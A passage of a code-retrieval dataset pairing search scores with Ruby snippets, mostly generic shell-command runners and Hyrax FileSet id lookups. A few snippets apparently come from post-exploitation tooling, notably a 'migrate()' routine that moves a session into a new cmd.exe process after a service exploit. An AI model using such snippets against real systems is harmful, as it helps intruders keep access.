exec(*cmda)\n # exec replaces the Ruby process with the JRuby one.\n rescue Java::JavaLang::ClassNotFoundException\n end\n end", "title": "" }, { "docid": "e892eba984dbdc2d0192d9134b06a725", "score": "0.59110874", "text": "def run(cmd)\n puts cmd\n system(cmd)\nend", "title": "" }, { "docid": "8cf819fc7b6c5160be6a42ec850c44f0", "score": "0.59106135", "text": "def execute_locally(command)\n Dir.chdir(@app_dir) do\n system command\n end\n end", "title": "" }, { "docid": "66c33f066f8ec646db36d18daa4d28d4", "score": "0.5891274", "text": "def run_cmd(cmd)\n\t\tshell_command(cmd)\n\tend", "title": "" }, { "docid": "66c33f066f8ec646db36d18daa4d28d4", "score": "0.5891274", "text": "def run_cmd(cmd)\n\t\tshell_command(cmd)\n\tend", "title": "" }, { "docid": "10078da5e32896d0d2d38cdabcb70f7f", "score": "0.58900017", "text": "def fireNforget(command)\n pid = Process.fork\n if pid.nil?\n sleep(1)\n exec \"#{command}\" # This can now run in its own process thread and we dont have to wait for it\n else\n # In parent, detach the child process\n Process.detach(pid)\n end\nend", "title": "" }, { "docid": "7ccf0fafce69a21e1d9d2144268c7a2c", "score": "0.58874613", "text": "def execute(command)\r\n system \"#{command}\"\r\nend", "title": "" }, { "docid": "7ccf0fafce69a21e1d9d2144268c7a2c", "score": "0.58874613", "text": "def execute(command)\r\n system \"#{command}\"\r\nend", "title": "" }, { "docid": "9166a746440010118d287a9dfb0769fb", "score": "0.58525234", "text": "def execute(command)\n system \"#{ command }\"\nend", "title": "" }, { "docid": "4d7586cf00379a65aedecdaacce1d7c2", "score": "0.5843583", "text": "def system_command(command)\n puts \"DEBUG: system command #{command}\"\n system(command)\n end", "title": "" }, { "docid": "096aed1ee3bfdb0aab0289f7fe8d27fc", "score": "0.5827864", "text": "def system(command)\n pid = fork {\n exec(command)\n }\n Process.wait pid\nend", "title": "" }, { "docid": "9c0e2d114b1a4a7ba403d627a953d609", "score": "0.58211154", "text": "def process(inputpath,cmd=nil) \n output_path =@cm.get_target_path(inputpath) \n \n cl= cmd.gsub('%executable%', @cm.get_conf(:bin_paths)[@default_command]).\n gsub('%input%',inputpath).\n gsub('%output%', output_path)\n system(cl)\n notify(\"run command #{cl}, pid=#{$?.pid} exitstatus=#{$?.exitstatus}\", :debug) \n output_path\n end", "title": "" }, { "docid": "646e08b411ea006ef2f41388a98a44ed", "score": "0.5815525", "text": "def run_command(str)\n puts str\n system str\nend", "title": "" }, { "docid": "d56774d7c3378ea79638700db3cc1db2", "score": "0.57969767", "text": "def execute(command)\n system \"#{command}\"\nend", "title": "" }, { "docid": "d56774d7c3378ea79638700db3cc1db2", "score": "0.57969767", "text": "def execute(command)\n system \"#{command}\"\nend", "title": "" }, { "docid": "d56774d7c3378ea79638700db3cc1db2", "score": "0.57969767", "text": "def execute(command)\n system \"#{command}\"\nend", "title": "" }, { "docid": "d56774d7c3378ea79638700db3cc1db2", "score": "0.57969767", "text": "def execute(command)\n system \"#{command}\"\nend", "title": "" }, { "docid": "d56774d7c3378ea79638700db3cc1db2", "score": "0.57969767", "text": "def execute(command)\n system \"#{command}\"\nend", "title": "" }, { "docid": "d56774d7c3378ea79638700db3cc1db2", "score": "0.57969767", "text": "def execute(command)\n system \"#{command}\"\nend", "title": "" }, { "docid": "d56774d7c3378ea79638700db3cc1db2", "score": "0.57969767", "text": "def execute(command)\n system \"#{command}\"\nend", "title": "" }, { "docid": "d56774d7c3378ea79638700db3cc1db2", "score": "0.57969767", "text": "def execute(command)\n system \"#{command}\"\nend", "title": "" }, { "docid": "d56774d7c3378ea79638700db3cc1db2", "score": "0.57969767", "text": "def execute(command)\n system \"#{command}\"\nend", "title": "" }, { "docid": "12d4d3724bd82115050e785db3333faa", "score": "0.57748985", "text": "def exec!(cmd)\n PTY.spawn(cmd) do |stdin, stdout, pid|\n begin\n stdin.each { |line| UI.puts line }\n rescue Errno::EIO\n raise RuntimeError, \"Command IO error: #{cmd}\"\n end\n Process.wait pid\n end\n raise RuntimeError, \"Command failed: #{cmd}\" unless $?.exitstatus == 0\n rescue PTY::ChildExited\n raise RuntimeError, \"Command exited abnormally: #{cmd}\"\n end", "title": "" }, { "docid": "4c39329716e3e58087a9e3497e306f07", "score": "0.57734954", "text": "def run\n SubProcess.create( @debug_options ) do | shell |\n set_default_handlers_for shell\n spawn_subprocess shell, real_command\n end\n self\n end", "title": "" }, { "docid": "d06d7ad1e8c02472045306cde0c23737", "score": "0.57646865", "text": "def execute_cmd(cmd)\n puts cmd\n system cmd\n end", "title": "" }, { "docid": "7f32d7b7ab081ef1703afd002bccd178", "score": "0.57529664", "text": "def cmd(cmd)\n puts cmd\n system cmd\n end", "title": "" }, { "docid": "85703203eac983901701e77e1e6c53c0", "score": "0.5747713", "text": "def do_cmd(cmd)\n puts cmd\n Kernel.system(cmd)\nend", "title": "" }, { "docid": "85703203eac983901701e77e1e6c53c0", "score": "0.5747713", "text": "def do_cmd(cmd)\n puts cmd\n Kernel.system(cmd)\nend", "title": "" }, { "docid": "85703203eac983901701e77e1e6c53c0", "score": "0.5747713", "text": "def do_cmd(cmd)\n puts cmd\n Kernel.system(cmd)\nend", "title": "" }, { "docid": "85703203eac983901701e77e1e6c53c0", "score": "0.5747713", "text": "def do_cmd(cmd)\n puts cmd\n Kernel.system(cmd)\nend", "title": "" }, { "docid": "85703203eac983901701e77e1e6c53c0", "score": "0.5747713", "text": "def do_cmd(cmd)\n puts cmd\n Kernel.system(cmd)\nend", "title": "" }, { "docid": "c3fc9b251d82557c1cabaf3a818e6e60", "score": "0.57450193", "text": "def fireNforget(command)\n #Spawn our connection in a separate terminal cause its nicer that way!!!!!\n pid = Process.fork\n if pid.nil?\n # In child\n sleep(1) #dramatic pause :p\n exec \"#{command}\" #This can now run in its own process thread and we dont have to wait for it\n else\n # In parent, detach the child process\n Process.detach(pid)\n end\n end", "title": "" }, { "docid": "23ac74d1e850c239c636e4ab8f810372", "score": "0.5744973", "text": "def replace_command(command)\n return @apps[command] if @apps.has_key?(command)\n return command\n end", "title": "" }, { "docid": "9ca03e7b93f25f2d9f9e27b434c17a5d", "score": "0.57402605", "text": "def exec(command) # rubocop:disable Lint/UnusedMethodArgument\n cache_flush if cache_auto?\n # to be implemented by subclasses\n end", "title": "" }, { "docid": "43d635533473bfa6fad78aee39f72cb7", "score": "0.5733325", "text": "def execute(cmd)\n Process.wait(spawn(cmd))\n end", "title": "" }, { "docid": "5c5ebdca6aa67f954b6c2315828ff9ba", "score": "0.5725753", "text": "def run_command; end", "title": "" }, { "docid": "5c5ebdca6aa67f954b6c2315828ff9ba", "score": "0.5725753", "text": "def run_command; end", "title": "" }, { "docid": "16b07451e36db2d6147ec6903112aca2", "score": "0.570935", "text": "def exec(command)\n environment.exec(command)\n end", "title": "" }, { "docid": "bdffdbe333930ebcfb2b1acdee3cd611", "score": "0.5706626", "text": "def run(cmd)\n `#{cmd}`\n end", "title": "" }, { "docid": "833925c04caf06c2583fb5b5bbd080df", "score": "0.57034206", "text": "def shell(command)\n Kernel.system command\n end", "title": "" }, { "docid": "b662333d3814d230618be3ed2a898f65", "score": "0.56900424", "text": "def run(command)\n `#{command}`\nend", "title": "" }, { "docid": "d0a2b02976c94e8d62557cc453f8646b", "score": "0.5684463", "text": "def run(command)\n require 'English'\n\n puts \"\\n### #{command} ###\\n\\n\"\n\n system command || exit($CHILD_STATUS)\n end", "title": "" }, { "docid": "5d3c59ea9ceb65376e3be6ef155594d6", "score": "0.565899", "text": "def execute(command)\n debug(\"Executing: #{command}\")\n system(command)\n end", "title": "" }, { "docid": "3eb05c0a0853cdc19b678716230d9469", "score": "0.56535286", "text": "def shell!(command)\n system(devbox_command(command)) || raise(\"Command failed: #{command}\")\n end", "title": "" }, { "docid": "b2ed5a271166729235176c820df272f9", "score": "0.5653222", "text": "def shell_command(command)\n debug(1, \"shell_command(#{command})\");\n system(command);\n end", "title": "" }, { "docid": "6aa0a7163b78b1ea86f5eeeaddba7ce0", "score": "0.56524974", "text": "def run(command)\n # ...\n end", "title": "" }, { "docid": "6aa0a7163b78b1ea86f5eeeaddba7ce0", "score": "0.56524974", "text": "def run(command)\n # ...\n end", "title": "" }, { "docid": "0db67c9cd1d22361a29ad8fe4f35ec38", "score": "0.5643315", "text": "def run_bg(cmd)\n job = fork { exec cmd }\n Process.detach job\n end", "title": "" }, { "docid": "acabe10a23a89dad38f396b53a8498b1", "score": "0.56405354", "text": "def original_run_command=(_arg0); end", "title": "" }, { "docid": "5248f6041097f7ae04cc4ecb2eb93d9e", "score": "0.5639856", "text": "def run(command_line)\n shell_out(command_line).tap(&:run_command)\n end", "title": "" }, { "docid": "764e863238e5afc59f07276604c0bdfb", "score": "0.5623177", "text": "def run(cmd)\n clear_screen\n puts(blue(cmd))\n system(cmd)\nend", "title": "" }, { "docid": "6c055804a1a21f50fb60dfcb7e2376e5", "score": "0.5608996", "text": "def run_cmd(cmd)\n end", "title": "" }, { "docid": "1b9d1449a3548b4e37427d374d1e74e4", "score": "0.5601221", "text": "def run(file, line)\n system *command_for(file, line)\n end", "title": "" }, { "docid": "ac99f911659d29cba77c1fb0c474bb12", "score": "0.5594229", "text": "def system(command)\n begin\n Kernel.system command\n rescue => error\n puts \"Exception raised when executing '#{command}': #{error.inspect}\"\n end\n end", "title": "" }, { "docid": "0e5be776ae9917e1bec2715f786d04f5", "score": "0.55941635", "text": "def replace(command)\n command[:cmd] = command[:cmd] == 'nop' ? 'jmp' : 'nop'\nend", "title": "" }, { "docid": "3ae1da198f01842f69345260fb15c34e", "score": "0.55827", "text": "def restart_command\n old_pid_file = pid_file\n \"old_pid=`cat #{old_pid_file}`; kill -USR2 $old_pid ; sleep 4 ; kill -QUIT $old_pid\"\n end", "title": "" }, { "docid": "0faef97191d691d1646ac56c9b744ba0", "score": "0.5569557", "text": "def process( test = false )\n if( test )\n puts @command\n else \n system( @command )\n end\n end", "title": "" }, { "docid": "5cc726832c2b5161e95aab4b47ce5fb2", "score": "0.55651456", "text": "def run_cmd(cmd)\n\t\tconsole.run_single(cmd)\n\tend", "title": "" }, { "docid": "fe8f496b13b18c08fc8d1d3aa931571d", "score": "0.55566984", "text": "def run_locally(cmd)\n logger.trace \"executing locally: #{cmd.inspect}\" if logger\n `#{cmd}`\n end", "title": "" }, { "docid": "fe8f496b13b18c08fc8d1d3aa931571d", "score": "0.55566984", "text": "def run_locally(cmd)\n logger.trace \"executing locally: #{cmd.inspect}\" if logger\n `#{cmd}`\n end", "title": "" }, { "docid": "3d18bb4414d120fa5c25d2f1f2a6ce13", "score": "0.5553278", "text": "def spawn(command)\n fork do\n ::Process.setsid\n ::Process::Sys.setgid(Etc.getgrnam(self.gid).gid) if self.gid\n ::Process::Sys.setuid(Etc.getpwnam(self.uid).uid) if self.uid\n Dir.chdir \"/\"\n $0 = command\n STDIN.reopen \"/dev/null\"\n STDOUT.reopen self.log, \"a\"\n STDERR.reopen STDOUT\n \n # close any other file descriptors\n 3.upto(256){|fd| IO::new(fd).close rescue nil}\n \n exec command unless command.empty?\n end\n end", "title": "" }, { "docid": "00e6909c948479c04039c5db86f2333d", "score": "0.5542435", "text": "def system(command, *args)\n pid = spawn(command, *args)\n waitpid!(pid)\n end", "title": "" }, { "docid": "49ef5e4fcef617765873106a3727988f", "score": "0.5528253", "text": "def run_with_redirects(command_string, to_redact = \"\")\n common = Common.new\n command_to_echo = command_string.clone\n if to_redact\n command_to_echo.sub! to_redact, \"*\" * to_redact.length\n end\n common.put_command(command_to_echo)\n unless system(command_string)\n raise(\"Error running: \" + command_to_echo)\n end\nend", "title": "" }, { "docid": "49ef5e4fcef617765873106a3727988f", "score": "0.5528253", "text": "def run_with_redirects(command_string, to_redact = \"\")\n common = Common.new\n command_to_echo = command_string.clone\n if to_redact\n command_to_echo.sub! to_redact, \"*\" * to_redact.length\n end\n common.put_command(command_to_echo)\n unless system(command_string)\n raise(\"Error running: \" + command_to_echo)\n end\nend", "title": "" }, { "docid": "54dee347bd2df4ab6b52ca6eca935979", "score": "0.5520844", "text": "def run cmd\n execute cmd, \"run\"\n end", "title": "" }, { "docid": "54dee347bd2df4ab6b52ca6eca935979", "score": "0.5520844", "text": "def run cmd\n execute cmd, \"run\"\n end", "title": "" }, { "docid": "67e7f8528404df9c44516e81831ff719", "score": "0.55106264", "text": "def spawn( command_ = nil )\n command = command_ || get_user_input( \"Command: \", history: @rlh_shell )\n\n return if command.nil?\n\n command = sub_shell_variables( command )\n\n Thread.new do\n if system( command )\n set_iline \"Return code #{$?} from '#{command}'\"\n else\n set_iline \"Error code #{$?} executing '#{command}'\"\n end\n end\n end", "title": "" }, { "docid": "9f291d194bd56a4d75e392bb26580681", "score": "0.5499076", "text": "def exec_internal(agent, command)\n return CommandLog.log_exec(agent, command, @current_user) do\n exec_api(agent, \"shell_exec\", command.to_hash)\n end\n end", "title": "" }, { "docid": "25cfb094222e6434d173f43c7331d46f", "score": "0.5497529", "text": "def system_exec(i,o,e)\n begin\n # dup2 the given i,o,e to stdin,stdout,stderr\n # close all other file\n Rubish.set_stdioe(i,o,e)\n # exec the command\n if self.quoted\n # use arguments as is\n Kernel.exec self.cmd, *args\n else\n # want shell expansion of arguments\n Kernel.exec \"#{self.cmd} #{args.join \" \"}\"\n end\n rescue\n # with just want to kill the child\n # process. When something goes wrong with\n # exec. No cleanup necessary.\n #\n # There's a weird problem with\n # Process.exit(non_zero) raising SystemExit,\n # and that exception somehow reaches the\n # parent process.\n Process.exit!(1)\n end\n end", "title": "" }, { "docid": "88c72037cac0c60e4d367c9b0b873456", "score": "0.54944843", "text": "def external(command)\n self[:external] = command\n end", "title": "" }, { "docid": "c0310e65722c05fca92ee3cc86bd6975", "score": "0.54944736", "text": "def exec_cmd(cmd)\n chk = system(cmd)\n system(cmd) unless chk\nend", "title": "" }, { "docid": "1ac546b74daac2400d75b9df2f69cb38", "score": "0.5494352", "text": "def run_interactive(cmd)\n Aruba.platform.deprecated('The use of \"#run_interactive\" is deprecated. You can simply use \"run\" instead')\n\n run(cmd)\n end", "title": "" }, { "docid": "b95b33bd54d8f066afcd7ea523d5cb6e", "score": "0.5476596", "text": "def fire\n system @command\n end", "title": "" }, { "docid": "f84da8b8fccf7420d2a501c518e63be2", "score": "0.5476102", "text": "def run(cmd)\n runner.run(cmd, shell, nil)\n end", "title": "" }, { "docid": "23c7ddb698fc45e1cf485d4a394978e7", "score": "0.5471068", "text": "def run_command command\n # if verbose, dont redirect output to null\n command += ' >> /dev/null 2>&1' unless New.verbose\n\n # run the command\n Kernel.system command\n end", "title": "" }, { "docid": "07cebe436815248ebced51eec9e5c69f", "score": "0.54688036", "text": "def sh host_name, command_line\n @process = ShProcess.new( host_name, command_line, @debug_options )\n @process.run\n end", "title": "" }, { "docid": "807a9bd60c4bc7b51bf059a22036f9f0", "score": "0.54683053", "text": "def migrate()\n\ttarget = 'cmd.exe'\n\tnewProcPid = launchProc(target)\n\toldProc = migrateToProc(newProcPid)\n\t#killApp(oldProc)\n\t#Dangerous depending on the service exploited\nend", "title": "" }, { "docid": "8abc0ceea6fc6d0195248e75f8a4a87e", "score": "0.5464415", "text": "def run_locally(cmd)\n logger.trace \"executing locally: #{cmd.inspect}\" if logger\n `#{cmd}`\nend", "title": "" }, { "docid": "d21a98e76e48f56c06e5da3824ab375d", "score": "0.5463311", "text": "def process(command)\n if config[:debug]\n run_in_foreground\n elsif config[:unsupervised]\n process_unsupervised_command(command)\n else\n process_supervised_command(command)\n end\n end", "title": "" }, { "docid": "af3c1147a1a18504181590af483de4c6", "score": "0.5462935", "text": "def touch_cmd(new_path_file)\n cmd_exec(\"> #{new_path_file}\")\n end", "title": "" }, { "docid": "d1c950c6e2edca935dbe58dad9c04c52", "score": "0.5459043", "text": "def run command\n @command_line_runner.run command\n end", "title": "" }, { "docid": "6b13f3b8c107a3c3292d7878bd268267", "score": "0.54586005", "text": "def run_command\n \"-c '#{@command}'\"\n end", "title": "" } ]
564e74d0073a55dd761e84117a5097d0
Filter the member ids and return only the FileSet ids (filter out child works)
[ { "docid": "87902fd96aed29a515b6128a41855c8a", "score": "0.754073", "text": "def file_set_ids(work)\n ::FileSet.search_with_conditions(id: work.member_ids).map(&:id)\n end", "title": "" } ]
[ { "docid": "9f421241211e0693fc8ea42f4c42aa7b", "score": "0.756745", "text": "def file_set_ids(work)\n # ::FileSet.search_with_conditions(id: work.member_ids).map(&:id)\n work.ordered_member_ids\n end", "title": "" }, { "docid": "53de70a77391bc6c35b2086f3134dc71", "score": "0.6748329", "text": "def file_set_ids(work_id)\n query = \"{!field f=has_model_ssim}FileSet\"\n filter = \"{!join from=ordered_targets_ssim to=id}id:\\\"#{work_id}/list_source\\\"\"\n results = ActiveFedora::SolrService.query(query, rows: 10_000, fl: ActiveFedora.id_field, fq: filter)\n results.flat_map { |x| x.fetch(ActiveFedora.id_field, []) }\n end", "title": "" }, { "docid": "7c294feb4dcc9bc46b00c77396404dfc", "score": "0.66406465", "text": "def member_object_ids\n return [] unless id\n ActiveFedora::Base.search_with_conditions(\"member_of_collection_ids_ssim:#{id}\", rows: 1000 ).map(&:id)\n end", "title": "" }, { "docid": "1a9b96a8479a2db4606f3cfc44808203", "score": "0.6628194", "text": "def only_work_ids\n @only_works ||= @collection.member_objects.select { |m| !m.collection? }.collect(&:id)\n end", "title": "" }, { "docid": "2c57caf18b65e539391d9df7bf6aab52", "score": "0.6450209", "text": "def file_set_ids\n @file_set_ids ||= begin\n ActiveFedora::SolrService.query('{!field f=has_model_ssim}FileSet',\n fl: ActiveFedora.id_field,\n rows: 1000,\n fq: \"{!join from=ordered_targets_ssim to=id}id:\\\"#{id}/list_source\\\"\")\n .flat_map { |x| x.fetch(ActiveFedora.id_field, []) }\n end\n end", "title": "" }, { "docid": "d5e91b7f41eb9a755065b106d5b27ecf", "score": "0.63685393", "text": "def file_set_ids\n @file_set_ids ||= begin\n ActiveFedora::SolrService.query(\"{!field f=has_model_ssim}FileSet\",\n rows: 10_000,\n fl: ActiveFedora.id_field,\n fq: \"{!join from=ordered_targets_ssim to=id}id:\\\"#{id}/list_source\\\"\")\n .flat_map { |x| x.fetch(ActiveFedora.id_field, []) }\n end\n end", "title": "" }, { "docid": "47c64f603a486feff7d73b67ef5da5b5", "score": "0.6310022", "text": "def related_files\n parent_objects = parents\n return [] if parent_objects.empty?\n parent_objects.flat_map do |work|\n work.file_sets.reject do |file_set|\n file_set.id == id\n end\n end\n end", "title": "" }, { "docid": "b06d239d7eac6e81eb24d5c4d2ec674c", "score": "0.6160219", "text": "def related_files\n generic_works = self.generic_works\n return [] if generic_works.empty?\n generic_works.flat_map { |work| work.file_sets.select { |file_set| file_set.id != id } }\n end", "title": "" }, { "docid": "55d82ab231e0ac3b5271e1d46a8cc2ee", "score": "0.6156867", "text": "def file_set_ids\n file_sets.map(&:id)\n end", "title": "" }, { "docid": "63aa66ce69aeff3f11beb8c2a04f5611", "score": "0.6127617", "text": "def find_child_fileset_ids(resource:)\n find_child_filesets(resource: resource).map(&:id)\n end", "title": "" }, { "docid": "3c2ae040611d9a90c59352134bfae899", "score": "0.6098571", "text": "def member_ids h, id\n h.map {|h1| (h1[\"id\"] == id ) && h1[\"members\"].map{|h2| h2[\"id\"] } || nil }.compact.flatten\n end", "title": "" }, { "docid": "fe8a21ce7d798a2d914e5c63d995011d", "score": "0.60975045", "text": "def filterByPMIDs(fpmids)\n study_ids = Array.new\n fpmids.each do |fpmid|\n @studies.each do |studyrec|\n pmid = studyrec.getPMID()\n if pmid.nil?\n pmid = \"\"\n else\n pmid = pmid.upcase\n end\n if !pmid.index(fpmid.upcase).nil? &&\n (pmid.index(fpmid.upcase) >= 0) &&\n !study_ids.include?(studyrec.getStudyID().to_s)\n study_ids << studyrec.getStudyID().to_s\n end\n end \n end \n return study_ids\n end", "title": "" }, { "docid": "c3a4098e41a6b9ae3dfb1bb8b4da85fe", "score": "0.6097473", "text": "def exclude_members()\n members_booked = members()\n array = []\n for member in members_booked\n array << member.id\n end\n array\nend", "title": "" }, { "docid": "33a3657407efb6b7c15daaa9d3629c40", "score": "0.6043898", "text": "def extract_all_filesets(work)\n filesets = []\n work.members.each do |member|\n if member.class.to_s != 'FileSet'\n filesets << extract_all_filesets(member)\n else\n filesets << member\n end\n end\n filesets.flatten.compact\n end", "title": "" }, { "docid": "a1b2e3a754b3ebf2bcd00742ccb4201e", "score": "0.6013355", "text": "def memberids\n weakref(:members) do # initialises @members if necessary\n ASF.search_one(base, \"cn=#{name}\", 'memberUid').flatten\n end\n end", "title": "" }, { "docid": "b141e8be5650bc7e62fe763e0e8cccf2", "score": "0.5973624", "text": "def excluded_member_ids\n # TODO: single query\n Member.find(from_member_id).friends.pluck(:id) + [from_member_id]\n end", "title": "" }, { "docid": "d54befc01cab2d759cfe7e3b040e2705", "score": "0.59227806", "text": "def member_work_ids\n response = collection_member_service.available_member_work_ids.response\n response.fetch('docs').map { |doc| doc['id'] }\n end", "title": "" }, { "docid": "ee3b356ad0211cda46402f1cd58373ca", "score": "0.59157145", "text": "def object_member_of_ids\n @object_member_of_ids ||= (@object.member_of_collection_ids + [@object.admin_set_id]).select(&:present?)\n end", "title": "" }, { "docid": "aad422b399c9dd6532e47a0083c61de0", "score": "0.5906629", "text": "def related_files\n return [] unless batch\n batch.generic_files.reject { |sibling| sibling.id == id }\n end", "title": "" }, { "docid": "1f40f4ed8473383df28531ed32316cd4", "score": "0.590481", "text": "def member_ids\n memberships.map(&:person_id)\n end", "title": "" }, { "docid": "3cff4e89c5b7f6cd21544bf26049e3ff", "score": "0.58934367", "text": "def member_ids\n resource.respond_to?(:member_ids) ? Array.wrap(resource.member_ids) : []\n end", "title": "" }, { "docid": "210a2f636e84c2b78e12eb9c8b5725c5", "score": "0.58728516", "text": "def asset_ids(id)\n monograph = ActiveFedora::SolrService.query(\"{!terms f=id}#{id}\", rows: 1)\n return if monograph.blank?\n\n ids = monograph.first['ordered_member_ids_ssim']\n return if ids.blank?\n\n ids.delete(monograph.first['representative_id_ssim']&.first)\n featured_representatives(monograph.first['id']).each do |fr|\n ids.delete(fr.file_set_id)\n end\n\n ids.reject { |mid| tombstone?(mid) }.join(',')\n end", "title": "" }, { "docid": "b9400863cdb2aad853ab501951e5506d", "score": "0.5870655", "text": "def ordered_work_ids(work_id)\n ordered_member_ids(work_id) - file_set_ids(work_id)\n end", "title": "" }, { "docid": "c7c31f7b8a9009a56adadb10f37ccd79", "score": "0.5850594", "text": "def find_child_filesets(resource:)\n query_service.find_members(resource: resource).select(&:file_set?)\n end", "title": "" }, { "docid": "36126ec44fab1e2f3ab784336d222470", "score": "0.5837305", "text": "def asset_ids(id)\n monograph = Hyrax::PresenterFactory.build_for(ids: [id], presenter_class: Hyrax::MonographPresenter, presenter_args: nil).first\n return if monograph.blank?\n\n docs = monograph.ordered_member_docs\n return if docs.blank?\n\n ids = []\n docs.each do |doc|\n next if doc['id'].in?(monograph.featured_representatives.map(&:file_set_id))\n next if doc['id'] == monograph.representative_id\n next if tombstone?(doc)\n ids << doc['id']\n end\n\n ids.join(\",\")\n end", "title": "" }, { "docid": "5cff99c347ce4531ad9d3249c73ba730", "score": "0.5792628", "text": "def find_child_fileset_ids(resource:)\n Deprecation.warn(\"Custom query find_child_fileset_ids is deprecated; use find_child_file_set_ids instead.\")\n Hyrax.custom_queries.find_child_file_set_ids(resource: resource)\n end", "title": "" }, { "docid": "5e9e14e882b7cfb57fcfa05587e41321", "score": "0.5782637", "text": "def staff_member_ids\n return @staff_member_ids\n end", "title": "" }, { "docid": "5e9e14e882b7cfb57fcfa05587e41321", "score": "0.5782637", "text": "def staff_member_ids\n return @staff_member_ids\n end", "title": "" }, { "docid": "8bbf3528b9cdfcd0401a2337798e4cc0", "score": "0.5775715", "text": "def relevant_members\n @relevant_members ||= expert_paths.\n map{ |(_expert, path)| path }.\n flatten.sort.uniq.\n yield_self{ |member_ids| Member.where(id: member_ids) }\n end", "title": "" }, { "docid": "8da7dd305e5dd376bf7c2e2cb992e6dd", "score": "0.57660466", "text": "def file_sets\n FileSet.joins(:jobs).where(Job: { JobStatus: 'T', Type: 'B', ClientId: id }).uniq\n end", "title": "" }, { "docid": "17a9b9c89c2f9c2394e51d83aea4cbce", "score": "0.57286364", "text": "def members_to_include\n @members_to_include ||= work.\n members.\n includes(:leaf_representative).\n where(published: true).\n order(:position).\n select do |m|\n m.leaf_representative.content_type.start_with?(\"image/tiff\")\n end\n end", "title": "" }, { "docid": "cb8aa6f88d2bc0b822692bf404a332a3", "score": "0.5714746", "text": "def member_ids\n ordered_member_ids = pcdm_object.try(:ordered_member_ids)\n return ordered_member_ids if ordered_member_ids.present?\n pcdm_object.try(:member_ids)\n end", "title": "" }, { "docid": "03e53ec58ed930df87027a09b8f026b0", "score": "0.5707269", "text": "def member_ids(get_effective_members = true)\n resource_name = get_effective_members ? \"effective_member\" : \"member\"\n result = Nokogiri::HTML(connection.get(constructed_path + \"/#{resource_name}\")) unless @members\n @members ||= result.xpath(\"//*[@class='#{resource_name}']\").children.collect(&:text)\n end", "title": "" }, { "docid": "cec99867a0ffffe54198d21482453a5e", "score": "0.5703813", "text": "def members\n memberids.map {|uid| Person.find(uid)}\n end", "title": "" }, { "docid": "2311fa5f103fafe49c63608f7b0c00ba", "score": "0.56993103", "text": "def find_children_by(fields)\n queries = []\n fields.each_pair do |k, v|\n solr_field = GenericFile.index_config[k.to_sym]\n next if solr_field.nil?\n\n index = Solrizer.solr_name(k, solr_field.behaviors.first)\n queries << \"#{index}:\\\"#{v}\\\"\" \n end \n query = queries.join(\" \")\n limits = {\n fl: \"id\",\n fq: [\"has_model_ssim:GenericFile\",\n \"{!join from=hasCollectionMember_ssim to=id}id:#{self.id}\"],\n }\n ids = ActiveFedora::SolrService.query(query, limits)\n ids = ids.collect { |res| res[\"id\"] }\n\n # Now return the set\n ids \n end", "title": "" }, { "docid": "85cc288969fc64dc1090ab9aeb9ff4ea", "score": "0.5688663", "text": "def get_file_ids listing\n file_names = listing.pictures.map(&:photo_file_name) - @listing.pictures.map(&:photo_file_name)\n file_ids = listing.pictures.where(photo_file_name: file_names).map(&:id)\n end", "title": "" }, { "docid": "8b51aadadcb9bbc44d83f51c081d6fb4", "score": "0.5688348", "text": "def members\n memberids.map {|id| Person.find id}\n end", "title": "" }, { "docid": "e45859bdb40aece34e4a788eea7c1b60", "score": "0.5680449", "text": "def files_in(project)\n project.model_files.where(member_id: self.id)\n end", "title": "" }, { "docid": "5e98919950af1ad7c75c04723384c8b4", "score": "0.5678386", "text": "def file_sets\n ActiveSupport::Deprecation.warn('Prefer #files to #file_sets! Dealing directly with PCDM FileSets in the web'\\\n ' application is (eventually) going away! Calls to this method should be carefully audited for necessity!')\n FileSet.where(item: id)\n end", "title": "" }, { "docid": "f1e490cb85098124d59d1376921e75f6", "score": "0.56727177", "text": "def file_sets_for(work)\n Hyrax.query_service.custom_queries.find_child_filesets(resource: work)\n end", "title": "" }, { "docid": "4ea27a8c573a1aec0a4caaf5034fa8d1", "score": "0.5672201", "text": "def file_sets\n return @file_sets unless @file_sets.nil?\n\n valid_proxies = members.reject { |proxy| proxy.proxied_file_id.nil? }\n proxy_ids = valid_proxies.map(&:proxied_file_id)\n @file_sets ||=\n begin\n file_sets = query_service.find_many_by_ids(ids: proxy_ids)\n file_sets.each do |file_set|\n file_set.loaded[:proxy_parent] = members.find { |member| member.proxied_file_id == file_set.id }\n end\n # Find_many_by_ids doesn't guaruntee order. This sorts the returned file\n # sets by the members they were queried from.\n file_sets.sort_by { |x| proxy_ids.index(x.id) }\n end\n end", "title": "" }, { "docid": "c59d9ab29822e89d7fb02b86de3ad8d9", "score": "0.56714296", "text": "def upload_ids\n work_files_titles = object.file_sets.map(&:title) if object.present? && object.file_sets.present?\n work_files_titles&.include?(attributes[:file]) ? [] : [import_file(file_paths.first)]\n end", "title": "" }, { "docid": "d2eef845c68f2a65fac9d00535dcd58c", "score": "0.564806", "text": "def filtered(files); end", "title": "" }, { "docid": "b249435d310a368d67810c0e571d7806", "score": "0.56147796", "text": "def memberids\n members = weakref(:members) do\n results = ASF.search_one(base, \"cn=#{name}\", ['member', 'memberUid']).first\n results['member'] || results['memberUid'].map {|k| ASF::Person.dn(k)} || []\n end\n\n members.map {|uid| uid[/uid=(.*?),/, 1]}\n end", "title": "" }, { "docid": "5729f0f7f1ec9d64b4401d62d5e3a277", "score": "0.56122303", "text": "def member_objects\n ActiveFedora::Base.where(\"member_of_paths_dpsim:#{id}\")\n end", "title": "" }, { "docid": "844bbec2fe2c3bcae77e991f3edf3e0c", "score": "0.559443", "text": "def filter_requested_ids\n pfilter = params[:filter]\n return @master_objects unless pfilter.present?\n\n requested_filtered_ids = pfilter[:resource_id]\n secondary_key_filtered_ids = pfilter[:secondary_key]\n if requested_filtered_ids.present?\n requested_filtered_ids = requested_filtered_ids.split(',').map { |i| i.strip.to_i }\n @master_objects = @master_objects.where(id: requested_filtered_ids)\n elsif secondary_key_filtered_ids.present?\n @master_objects = @master_objects.find_all_by_secondary_key(secondary_key_filtered_ids)\n else\n @master_objects\n end\n end", "title": "" }, { "docid": "d57989189f9c1648b14d546068c1a985", "score": "0.5594149", "text": "def memberids\n members = weakref(:members) do\n ASF.search_one(base, \"cn=#{name}\", 'member').flatten\n end\n members.map {|uid| uid[/uid=(.*?),/, 1]}\n end", "title": "" }, { "docid": "0058f6a0d26f59373786c9ef7d174964", "score": "0.5592812", "text": "def get_files(file_ids)\n file_ids = [file_ids] unless file_ids.is_a? Array\n debug \"DivShare.get_files(): #{file_ids.class}\"\n files = get_user_files\n files.delete_if {|f| file_ids.include?(f.file_id) == false}\n end", "title": "" }, { "docid": "23731612165ffb0c06626fa25e04b397", 